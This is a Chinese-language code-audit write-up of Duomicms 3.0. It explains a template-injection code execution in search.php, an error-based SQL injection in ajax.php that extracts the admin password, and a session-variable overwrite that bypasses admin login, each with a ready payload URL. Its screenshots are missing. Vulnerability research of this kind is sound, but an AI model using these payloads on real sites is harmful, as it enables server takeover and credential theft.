0x01 前言

搞就完事了。这次审的是Duomicms3.0的代码执行以及SQL注入

0x02 过程

代码执行
直接上payload:
http://127.0.0.1/duomi/search.php?searchword={if:phpinfo()}phpinfo(){end%7Dphpinfo()%7Bend)
我们来看search文件,程序在开始会引用common.php,而在common.php文件里,存在着变量覆盖的问题。
image.png

在程序的第26行会对参数的值进行过滤,删除XSS相关的字符串。27行则是字符串进行截断。继续看下去
image.png
可以看到程序的145行对内容进行搜索替换,会将我们参数的值替换到$content字符串里面。跟进parseIf函数
image.png
可以看到,程序会将我们的命令进行执行。
image.png

SQL注入
payload
http://127.0.0.1/duomi/duomiphp\ajax.php?action=addfav&id=1&uid=10101 and '..vid and extractvalue(1,concat_ws(0x3A,0x3A,(select`password` from`duomi_admin` limit 1))) and `'`..vid
该漏洞存在的原因是因为变量覆盖的问题。
image.png

前台变量覆盖到getshell
该漏洞最主要的原因是因为common.php 存在变量覆盖的问题。
image.png
如果是前台利用该漏洞,可以使用
http://localhost/duomi/member/share.php?_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1 写入session。
我们来看config.php文件是怎么判断后台登陆的。如下图,只要不是等于-1,就可以绕过登陆判断
image.png
而getUserId是取$this->userId的值
image.png
userId的值是取自session的。
image.png
利用方法
image.png